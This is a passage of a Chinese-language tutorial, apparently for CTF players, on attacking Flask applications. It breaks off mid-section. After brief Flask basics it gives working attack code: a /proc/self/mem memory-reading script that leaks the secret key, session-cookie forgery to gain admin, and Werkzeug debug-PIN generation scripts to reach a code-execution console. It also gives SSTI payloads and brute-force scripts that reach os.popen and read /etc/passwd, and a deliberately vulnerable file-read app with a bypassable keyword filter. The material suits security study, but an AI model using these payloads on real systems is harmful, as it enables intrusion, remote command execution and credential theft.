user = request.args.get('username') # 获取传入的用户名
passwd = request.form['passwd'] # 获取传入的密码
if user == username and passwd == password: # 判断用户名和密码是否和预定义的一样
return redirect(url_for('login_s')) # 如果一样，则通过redirect和url_for重定向到login_s中
else:
return 'username or password error' # 错误则返回用户名或者密码错误
@app.route('/login_s',methods = ['GET']) # 定义一个新的页面login_s
def login_s():
return '登录成功' # 返回登陆成功
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
* Redirect和url_for也需要导入模块
* url_for用于定义一个url，可以包含同文件下的其他路径，也可以包含外部文件
### 模板渲染：
单调的html看起来是枯燥乏味的，一个好看的html文件是有不同样式的文件组成的，因此，为了让模板看起来更好看，我们就需要对模板进行渲染，模板渲染需要注意一点，py文件和外部文件要放在同一个文件夹下，并且放置外部文件的文件夹名，要重命名为templates
#### render_template：
>
> 根据上面的文件夹规则，我们在templates创建了一个index.html，然后再py文件中定义好需要渲染的内容，使用字典格式(请看下面的代码例子)，一切准备就绪后，使用render_template将数据渲染过去index.html，如果有多个参数，请使用形参的形式传出，如下flask_tss.py文件代码所示，有三个参数，那么就用**contents传过去，contents是自定义的，这样子，参数值就会一个不落地传到index.html
>
> index.html文件中，需要使用格式为 `{{ 参数名 }}`接受参数值，比如`username:vfree`html文件中就是用`<标签>{{
> username }}</标签>`，注意，html文件获取参数一定要填入传过来的参数名
flask_tss.py文件：
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template
app = Flask(__name__)
@app.route('/')
def index():
contents = {
'username':'vFREE',
'year':'20',
'Country':'China'
}
return render_template('index.html',**contents)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
templates文件夹下的index.html
<html>
<head>
<body>
<h1>Hello,{{username}}</h1>
<h2>{{year}}</h2>
<h3>{{Country}}</h3>
</body>
</head>
</html>
#### render_template_string:
这个使用于渲染字符串的一个函数，此函数可以将html代码变成字符串，
然后使用render_template_string(xxx)将文件渲染输出，这个可以用于没有外部文件的情况，直接再同文件下，定义好html代码，然后直接就可以渲染，render_template_string和render_template都是渲染，但是前者是字符串，后者是外部文件
注意：render_template和render_template_string都需要导入才可以使用
读取文件绕过：
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route("/")
def index():
return 'GET /view?filename=app.py'
@app.route("/view")
def viewFile():
filename = request.args.get('filename')
if("flag" in filename):
return "WAF"
if("cgroup" in filename):
return "WAF"
if("self" in filename):
return "WAF"
try:
with open(filename, 'r') as f:
templates='''
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>文件存在</title>
</head>
<h1>
{}
</h1>
</html>
'''.format(f.read())
return render_template_string(templates)
except Exception as e:
templates='''
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>文件不存在</title>
</head>
<h1>
文件不存在
</h1>
</html>
'''
return render_template_string(templates)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80, debug=True)
#### 基本语法：
官方文档对于模板的语法介绍如下
{% ... %} for Statements
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output
# ... ## for Line Statements
* **{%%}** :主要用来声明变量，也可以用于条件语句和循环语句。
{% set c='kawhi' %}
{% if 81==9*9 %}kawhi{% endif %}
{% for i in ['1','2','3'] %}kawhi{%endfor%}
* **{{}}** :用于将表达式打印到模板输出，比如我们一般在里面输入2-1，2*2，或者是字符串，调用对象的方法，都会渲染出结果
{{2-1}} #输出1
{{2*2}} #输出4
我们通常会用{{2*2}}简单测试页面是否存在SSTI
* **{##}** :表示未包含在模板输出中的注释
* **##** :有和{%%}相同的效果
* 这里的模板注入主要用到的是{{}}和{%%}
### Session伪造：
#### session说明：
* session的常见实现形式是当用户发起一个请求的时候，后端会检查该请求中是否包含 sessionid，如果没有则会创造一个叫 sessionid 的 cookie，用于区分不同的 session。sessionid 返回给浏览器，并将 sessionid 保存到==服务器的内存==里面；当已经有了 sessionid，服务端会检查找到与该 sessionid 相匹配的信息直接用。
* 所以显而易见，==session 和 sessionid 都是后端生成的==。
* 且由于 session 是后端识别不同用户的重要依据，而 sessionid 又是识别 session 的唯一依据，所以 session 一般都保存在服务端避免被轻易窃取，只返回随机生成的 sessionid 给客户端。
* 对于攻击者来说，假设需要冒充其他用户，那么必须能够猜到其他用户的 sessionid，这是比较困难的。
#### session搭建：
对于 flask 来说，它的 session 不是保存到内存里的，而是直接把整个 session 都塞到 cookie
里返回给客户端。那么这会导致一个问题，如果我可以直接按照格式生成一个 session 放在 cookie 里，那么就可以达到欺骗后端的效果。
flask是非常轻量级的web框架，它的session是存储在客户端的，是用户可见的，这也就是造成session伪造的根本原因。在flask框架使用session只需要导入session模块即可。在本地开启一个flask服务。
from flask import Flask,session
app = Flask(__name__)
app.secret_key = "iamXiLitter"
@app.route('/')
def set_session():
if 'name' in session:
name = session['name']
if name == "XiLitter":
return "欢迎XiLitter"
if name == "admin":
return "欢迎admin"
else:
return "你是谁"
else:
session['name']="XiLitter"
return "session重新设置"
if __name__ == '__main__':
app.run(debug=False,port=8000)
* 打开cookie查看到有session，值是类似于base64编码的字符串。
* 拿去base64解码，解码后我们发现存储格式是json格式存储，还有一堆乱码，那应该就是数据签名。
#### session安全问题：
* flask框架的session是存储在客户端的，那么就需要解决session是否会被恶意纂改的问题，而flask通过一个secret_key，也就是密钥对数据进行签名来防止session被纂改，在我上面写的例子就定义有密钥。
* app.secret_key = "iamXiLitter"
* 正常情况下这个密钥是不会给你看的。但是光有数据签名，安全性还是不够的，session没有做任何加密处理，是用户可见的，我们还是可以得到修改session里的内容，如果我们还得到了用于签名的密钥，那么攻击者就可以进行session伪造。
#### 密钥寻找：
1. app.py文件
2. config.py文件
3. 有关文件读取的代码：
linux 提供了/proc/self/目录，这个目录比较独特，不同的进程访问该目录时获得的信息是不同的，内容等价于/proc/ 本进程pid/，/proc/self/environ是此文件包含设置的初始环境，换句话说就是该进程的环境变量
4. 可以利用python存储对象的位置在堆上这个特性，app是实例化的Flask对象，而secret key在app.config['SECRET_KEY']，所以可以通过读取/proc/self/mem来读取secret key
#### 堆栈分析：
* 读取/proc/self/maps可以得到当前进程的内存映射关系，通过读该文件的内容可以得到内存代码段基址。
* /proc/self/mem是进程的内存内容，通过修改该文件相当于直接修改当前进程的内存。网上一些介绍说该文件不可读，乍一看确实是这样？
* 正确的姿势是结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域，只有读取的偏移值是被映射的区域才能正确读取内存内容。
* 同样的，我们也可以通过写入mem文件来直接写入内存，例如直接修改代码段，放入我们的shellcode，从而在程序流程执行到这一步时执行shellcode来拿shell。
##### 读取堆栈分布：
通过app.py文件我们已知密钥的形式，存储的对象在app.config上，所以可以通过/proc/self/mem读取：
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
由于/proc/self/mem内容较多而且存在不可读写部分，直接读取会导致程序崩溃，所以先读取/proc/self/maps获取堆栈分布
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
##### 读取对应位置内存数据：
然后读取/proc/self/mem，读取对应位置的内存数据，再使用正则表达式查找内容
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
if "*abcdefgh" in res.text:
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
##### **合并读取密钥** ：
这里还是借用的大佬的脚本
import requests
import re
url='http://61.147.171.105:56453/'
s_key = ""
bypass = "../.."
# 请求file路由进行读取
map_list = requests.get(url + f"info?file={bypass}/proc/self/maps")
map_list = map_list.text.split("\\n")
for i in map_list:
# 匹配指定格式的地址
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
print("Found rw addr:", start, "-", end)
# 设置起始和结束位置并读取/proc/self/mem
res = requests.get(f"{url}/info?file={bypass}/proc/self/mem&start={start}&end={end}")
# 如果发现*abcdefgh存在其中，说明成功泄露secretkey
if "*abcdefgh" in res.text:
# 正则匹配，本题secret key格式为32个小写字母或数字，再加上*abcdefgh
secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", res.text)
if secret_key:
print("Secret Key:", secret_key[0])
s_key = secret_key[0]
break
#### 伪造脚本使用：
脚本链接：[mirrors / noraj / flask-session-cookie-manager ·
GitCode](https://gitcode.net/mirrors/noraj/flask-session-cookie-manager?utm_source=csdn_github_accelerator)
解密:python flask_session_manager.py decode -c -s
#-c是flask cookie里的session值 -s参数是SECRET_KEY
python3 flask_session_cookie_manager3.py decode -s "iamXiLitter" -c "eyJuYW1lIjoiWGlMaXR0ZXIifQ.Y9iAVQ.d1mYdUgTehFxirFJcxpEwJEyb6k"
#{'name': 'XiLitter'}
加密:python flask_session_manager.py encode -s -t
#-s参数是SECRET_KEY -t参数是session的参照格式，也就是session解密后的格式
python3 flask_session_cookie_manager3.py encode -s "iamXiLitter" -t "{'name': 'admin'}"
#eyJuYW1lIjoiYWRtaW4ifQ.Y9iFlw.ljoX_L0rY-4d9izf7WY7cX2sn0E
#### 替换session值：
最后再替换掉之前登陆成功页面的账号的cookies的session值，然后刷新页面，就可以发现我们已经是管理员身份了
### PIN码攻击：
> PIN是 Werkzeug（它是 Flask 的依赖项之一）提供的额外安全措施，以防止在不知道 PIN 的情况下访问调试器。
> 您可以使用浏览器中的调试器引脚来启动交互式调试器。请注意，无论如何，您都不应该在生产环境中使用调试模式，因为错误的堆栈跟踪可能会揭示代码的多个方面。调试器
> PIN 只是一个附加的安全层，以防您无意中在生产应用程序中打开调试模式，从而使攻击者难以访问调试器。
* werkzeug不同版本以及python不同版本都会影响PIN码的生成
* 但是PIN码并不是随机生成，当我们重复运行同一程序时，生成的PIN一样，PIN码生成满足一定的生成算法
#### PIN码要素：
1. username
通过getpass.getuser()读取
通过文件/etc/passwd 中找到用户名
执行代码读取文件：
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd','r').read() }}
{% endif %}
{% endfor %}
或:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open'] ('/etc/passwd').read()}}
2. modname
通过getattr(mod,"file",None)读取，默认值为flask.app
3. appname
通过getattr(app,"name",type(app).name)读取，默认值为Flask
4. moddir
getattr(mod, '__file__', None) app.py的绝对路径,flask目录下的一个app.py的绝对路径 从网站报错信息中可以看到
5. uuidnode
当前网络的mac地址的十进制数
通过uuid.getnode()读取
通过文件/sys/class/net/eth0/address得到16进制结果，注意结果去掉冒号，16进制转化为10进制
读取文件**/sys/class/net/eth0/address 或者 /sys/class/net/eth33/address eth0为网卡
6. machine_id
每一个机器都会有自已唯一的id，machine_id由三个合并(docker就后两个)：
1./etc/machine-id
2./proc/sys/kernel/random/boot_id
3./proc/self/cgroup
#linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id，有的系统没有这两个文件。
#docker机则读取/proc/self/cgroup，其中第一行的/docker/字符串后面的内容作为机器的id
####docker-id也可以在以下文件夹下寻找
/proc/self/mountinfo
/proc/self/mounts
/proc/self/cgroup
/proc/self/cpuset
####self绕过：self可以替换为数字进行读取对应文件
如/proc/self/cpuset
当这6个值我们可以获取到时，就可以推算出生成的PIN码
#### PID爆破：
当/proc/self/文件中self被过滤时，我们可以通过pid爆破来读取文件：
简单介绍一下pid是什么：
linux proc文件系统：
* Linux系统上的/proc目录是一种文件系统，即proc文件系统。与其它常见的文件系统不同的是，/proc是一种伪文件系统（也即虚拟文件系统，它只存在内存当中，而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口），存储的是当前内核运行状态的一系列特殊文件，用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息，甚至可以通过更改其中某些文件来改变内核的运行状态。
PID：/proc/＜pid＞/文件 ：
* 目录，系统中当前运行的每一个进程都有对应的一个目录在/proc下，以进程的 PID号为目录名.
* cd /proc/之后，你会发现很多的目录和文件，今天首先来介绍的就是那些以数字命名的目录--它们就是linux中的进程号，每当你创建一个进程时，里面就会动态更新多出一个名称为pid的目录
* 除了以上介绍的这些，还有的是一些以数字命名的目录，它们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下，以进程的 [PID](https://so.csdn.net/so/search?q=PID&spm=1001.2101.3001.7020)号为目录名，它们是读取进程信息的接口。而self目录则是读取进程本身的信息接口，是一个link。
#### Find加密算法：
接下来开始调试程序，一步步找到生成PIN码的函数，PIN码是werkzeug的策略，先找到flask中导入werkzeug的部分
在run.app行下断点，点击调试，点击步入，进入app.py，转到了flask/app.py，直接Ctrl+F搜索werkzeug
发现程序从werkzeug导入了run_simple模块，而且try部分有run
app的参数，我们直接按住ctrl点击run_simple进去看看，此时进入了seving.py，找到了负责Debug的部分，而PIN码是在debug状态下才有的，那这个部分很有可能存有PIN码生成部分，于是我们继续跟进
此时进入了`__init__.py`，在里面我们发现了pin函数
def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
pin = os.environ.get("WERKZEUG_DEBUG_PIN")
rv = None
num = None
# Pin was explicitly disabled
if pin == "off":
return None, None
# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdecimal():
# If there are separators in the pin, return it directly
if "-" in pin:
rv = pin
else:
num = pin
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]
try:
# getuser imports the pwd module, which does not exist in Google
# App Engine. It may also raise a KeyError if the UID does not
# have a username, such as in Docker.
username = getpass.getuser()
except (ImportError, KeyError):
username = None
mod = sys.modules.get(modname)
probably_public_bits = [
username,
modname,
getattr(app, "__name__", type(app).__name__),
getattr(mod, "__file__", None),
]
private_bits = [str(uuid.getnode()), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
return rv, cookie_name
#### 生成算法：
将上面代码进行修改，就是生成PIN的算法代码：
> 其实最稳妥的方法就是自己调试，把自己版本的生成PIN部分提取出来，把num和rv改成None，直接print rv就行
>
> 这里注意3.6版本是md5加密，3.8版本是sha_1加密，我们在计算pin码时要注意抓包对应的Python版本
> ```python
> import hashlib
> from itertools import chain
> probably_public_bits = [
>
> # 1\. username
>
>
> 'root',
>
> # 2\. modname
>
>
> 'flask.app',
>
> # 3\. appname：getattr(app, ' **name** ', getattr(app. **class** , ' **name**
> '))
>
>
> 'Flask',
>
> # 4\. moddirgetattr(mod, ' **file** ', None)
>
>
> '/usr/local/lib/python3.7/site-packages/flask/app.py',
>
> ]
private_bits = [
# 5\. uuidnode：str(uuid.getnode()), /sys/class/net/ens33/address
'2485377957890',
# 6\. Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id +
/proc/self/cgroup
'861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
3.6-md5加密：
```python
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]
private_bits = [
'25214234362297',
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
3.8-SHA1加密：
#sha1-web801
import hashlib
from itertools import chain
probably_public_bits = [
'root'
'flask.app',
'Flask',
'/usr/local/lib/python3.8/site-packages/flask/app.py'
]
private_bits = [
'2485377581757',
'ab5474dd-e22b-45df-8316-7ad4e11f978a1cb8b52e9e47a792613d0b114b4042af7ffe0172d17e6a4189afb4ae637430eb'
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
//109-133-029
#### 开启控制台：
在右边框打开python交互shell控制台，需要输入pin码，然后开启python交互shell控制台，我们就可以进行RCE了
## Flask框架漏洞:
### 漏洞成因：
* 如果flask代码不严谨，可能造成任意文件读取和RCE
* 最主要的漏洞成因是因为渲染模板时，没有严格控制对用户的输入，或使用了危险模板，导致用户可以和flask程序进行交互，从而造成漏洞的产生，flask漏洞也被称为SSTI
* flask是基于python开发的一种web服务器，也就说明如果用户可以和flask进行交互的话，就可以执行python的代码，比如eval，system，file之类的函数
### 漏洞演示：
下面是演示一个看起来没问题的代码，请把目光移至html_str中的标签，其中str是被{{}}包括起来的，也就是说，使用{{}}包起来的，是会被预先渲染转义，然后才输出的，不会被渲染执行
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{{str}}</body>
</html>
'''
return render_template_string(html_str,str=str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
* 但是如果变成下面这个代码，发现了对用户传入的数据没有任何过滤，就直接将用户传入的参数值放入html_str中，然后经过模板渲染，直接输出，用户完全对输入值可控，就会照成SSTI漏洞，传入一个弹窗代码，查看效果
from importlib.resources import contents
import time
from flask import Flask,request,redirect,url_for,render_template_string,render_template
app = Flask(__name__)
@app.route('/',methods = ['GET'])
def index():
str = request.args.get('v')
html_str = '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)
if __name__ == '__main__':
app.debug = True
app.run('127.0.0.1','8080')
* 如果把恶意代码放在第一个代码中，就不会出现这种问题，因为已经被转义了，所以不会执行，而第二种就造成了信息泄露，但是还可以将危害扩大化，直接造成任意文件读取和RCE，在可以保证能看懂的
### 魔术方法：
__class__ # 查找当前类型的所属对象
__mro__ # 查找当前类对象的所有继承类
__subclasses__ # 查找父类下的所有子类
__globals__ # 函数会议字典的形式返回当前对象的全部全局变量
__init__ #查看类是否重载，重载是指程序在运行是就已经加载好了这个模块到内存中，如果出现wrapper字眼，说明没有重载
__base__ # 沿着父子类的关系往上走一个
object是父子关系的顶端，所有的数据类型最终的父类都是object
type是类型实例关系，所有对象都是type的实例
object和type既是类也是实例，因为object是type的一个实例，但是type又是object的子类，type自己创造了自己，object是type的父类，type创造了object
`__class__`:用于返回对象所属的类
''.__class__
#<class 'str'>
().__class__
#<class 'tuple'>
[].__class__
#<class 'list'>
`__base__`:以字符串的形式返回一个类所继承的类
`__bases__`:以元组的形式返回一个类所继承的类
`__mro__`:返回解析方法调用的顺序，按照子类到父类到父父类的顺序返回所有类
class Father():
def __init__(self):
pass
class GrandFather():
def __init__(self):
pass
class son(Father,GrandFather):
pass
print(son.__base__)
#<class '__main__.Father'>
print(son.__bases__)
#(<class '__main__.Father'>, <class '__main__.GrandFather'>)
print(son.__mro__)
#(<class '__main__.son'>, <class '__main__.Father'>, <class '__main__.GrandFather'>, <class 'object'>)
`__subclasses__()`:获取类的所有子类
`__init__`:所有自带带类都包含init方法，常用他当跳板来调用globals
`__globals__`:会以字典类型返回当前位置的全部模块，方法和全局变量，用于配合init使用
### 继承关系：
通过一个子类找到父类，父类再找子类，再找到全局变量，这就是继承关系，一层一层往上找：
class A:pass
class B(A):pass
class C(B):pass
a = A()
b = B()
c = C()
print('a的继承关系：',end='')
print(a.__class__.__mro__)
print('b的继承关系：',end='')
print(b.__class__.__mro__)
print('c的继承关系：',end='')
print(c.__class__.__mro__)
# 输出
# a父类是object
a的继承关系：(<class '__main__.A'>, <class 'object'>)
# b的父类是A，然后才是object
b的继承关系：(<class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
# c的父类是B，然后再是A，最后是object
c的继承关系：(<class '__main__.C'>, <class '__main__.B'>, <class '__main__.A'>, <class 'object'>)
# 一层层关系递进，形成一个继承关系
### POC构造：
漏洞代码：
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
name = request.args.get('name')
template = '''
<html>
<head>
<title>SSTI</title>
</head>
<body>
<h3>Hello, %s !</h3>
</body>
</html>
'''% (name)
return render_template_string(template)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
#### 第一步：
==目的：使用`__class__`来获取内置类所对应的类==
可以通过使用`str`，`list`，`tuple`，`dict`等来获取
>>>''.__class__
#<class 'str'>
>>>().__class__
#<class 'tuple'>
>>>[].__class__
#<class 'list'>
>>>{}.__class__
#<class 'dict'>
#### 第二步:
==目的：拿到`object`基类==
* 用`__bases__[0]`拿到基类:
>>> ''.__class__.__bases__[0]
<class 'object'>
* 用`__base__`拿到基类:
>>> ''.__class__.__base__
#<class 'object'>
* 用`__mro__[1]`或者`__mro__[-1]`拿到基类:
>>> ''.__class__.__mro__[1]
#<class 'object'>
>>> ''.__class__.__mro__[-1]
#<class 'object'>
#### 第三步：
==目的：用`__subclasses__()`拿到子类列表==
>>> ''.__class__.__bases__[0].__subclasses__()
#...一大堆的子类
#### 第四步：
==目的：在子类列表中找到可以getshell的类==
先知晓一些可以getshell的类，然后再去跑这些类的索引，原理是先遍历所有子类，然后再遍历子类的方法的所引用的东西，来搜索是否调用了我们所需要的方法，这里以popen为例子：（本地遍历）
search = 'popen'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num +=1
try:
if search in i.__init__.__globals__.keys():
print(i,num)
except:
pass
###运行###
<class 'os._wrap_close'> 134
<class 'os._AddedDllDirectory'> 135
* 可以发现`object`基类的第34个子类名为`os._wrap_close`的这个类有popen方法，先调用它的`__init__`方法进行初始化类
>>> {{"".__class__.__bases__[0].__subclasses__()[134].__init__}}
<function _wrap_close.__init__ at 0x00000150A1BB8430>
* 再调用`__globals__`可以获取到方法内以字典的形式返回的方法、属性等值
>>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__
* 然后就可以调用其中的popen来执行命令
>>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()
* 但是上面的方法仅限于在本地寻找，因为在做CTF题目的时候，我们无法在题目环境中运行这个`find.py`
### 寻找利用类：
**脚本索引：**
**本地遍历** ：
find.py
search = 'popen'
num = -1
for i in ().__class__.__bases__[0].__subclasses__():
num +=1
try:
if search in i.__init__.__globals__.keys():
print(i,num)
except:
pass
###运行###
<class 'os._wrap_close'> 134
<class 'os._AddedDllDirectory'> 135
find2.py
我们首先把所有的子类列举出来
{{().__class__.__bases__[0].__subclasses__()}}
然后把子类列表放进下面脚本中的a中，然后寻找os._wrap_close这个类
import json
a = """
<class 'type'>,...,<class 'subprocess.Popen'>
"""
num = 0
allList = []
result = ""
for i in a:
if i == ">":
result += i
allList.append(result)
result = ""
elif i == "\n" or i == ",":
continue
else:
result += i
for k,v in enumerate(allList):
if "os._wrap_close" in v:
print(str(k)+"--->"+v)
用requests模块脚本来跑：
find3.py
import requests
import time
import html
for i in range(0,300):
time.sleep(0.06)
payload="{{().__class__.__mro__[-1].__subclasses__()[%s]}}"% i
url='http://127.0.0.1:5000?name='
r = requests.post(url+payload)
if "catch_warnings" in r.text:
print(r.text)
print(i)
break
#### Python3方法：
##### 寻找内建函数 eval：
首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号：
import requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'
}
for i in range(500):
url = "http://47.xxx.xxx.72:8000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"
res = requests.get(url=url, headers=headers)
if 'eval' in res.text:
print(i)
* 我们可以记下几个含有eval函数的类：
- warnings.catch_warnings
- WarningMessage
- codecs.IncrementalEncoder
- codecs.IncrementalDecoder
- codecs.StreamReaderWriter
- os._wrap_close
- reprlib.Repr
- weakref.finalize
payload如下：
{{''.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
我们可以看到，使用eval函数执行命令也是调用的os模块，那我们直接调用os模块不是更简单？
##### 寻找 os 模块：
Python的 os
模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的，我们可以使用system()函数配合curl外带数据；popen()函数执行命令有回显。所以比较常用的函数为popen()函数，而当popen()函数被过滤掉时，可以使用system()函数代替。
首先编写脚本遍历目标Python环境中含有os模块的类的索引号：
import requests
headers = {
'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
for i in range(500):
url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'os.py' in res.text:
print(i)
随便挑一个类构造payload执行命令即可：
{{''.__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['os'].popen('ls /').read()}}
* 但是该方法遍历得到的类不准确，因为一些不相关的类名中也存在字符串 “os”，所以我们还要探索更有效的方法。
* 我们可以看到，即使是使用os模块执行命令，其也是调用的os模块中的popen函数，那我们也可以直接调用popen函数，存在popen函数的类一般是 `os._wrap_close`，但也不绝对。由于目标Python环境的不同，我们还需要遍历一下。
##### 寻找 popen 函数：
首先编写脚本遍历目标Python环境中含有 popen 函数的类的索引号：
import requests
headers = {
'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
for i in range(500):
url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"
res = requests.get(url=url, headers=headers)
if 'popen' in res.text:
print(i)
直接构造payload即可：
{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('ls /').read()}}
这样得到的索引还是很准确的。除了这种方法外，我们还可以直接导入os模块，python有一个importlib类，可用load_module来导入你需要的模块。
##### 寻找 importlib 类：
Python 中存在 `<class '_frozen_importlib.BuiltinImporter'>` 类，目的就是提供 Python 中
import 语句的实现（以及 `__import__` 函数）。我么可以直接利用该类中的load_module将os模块导入，从而使用 os
模块执行命令。
首先编写脚本遍历目标Python环境中 importlib 类的索引号：
iimport requests
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0'
}
for i in range(500):
url = "http://127.0.0.1:5000/?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"
res = requests.get(url=url, headers=headers)
if '_frozen_importlib.BuiltinImporter' in res.text:
print(i)
# 得到编号为84
构造如下payload即可执行命令：
{{[].__class__.__base__.__subclasses__()[84]["load_module"]("os")["popen"]("ls /").read()}}
#### Python2方法：
==注意：python2的`string`类型（引号）不直接从属于属于基类，所以要用两次 `__bases__[0]`==
##### `file`类读写文件：
* 本方法只能适用于python2，因为在python3中`file`类已经被移除了
* 可以使用dir查看file对象中的内置方法
>>> dir(().__class__.__bases__[0].__subclasses__()[40])
['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'close', 'closed', 'encoding', 'errors', 'fileno', 'flush', 'isatty', 'mode', 'name', 'newlines', 'next', 'read', 'readinto', 'readline', 'readlines', 'seek', 'softspace', 'tell', 'truncate', 'write', 'writelines', 'xreadlines']
读文件
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}}
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
##### 寻找 linecache 函数：
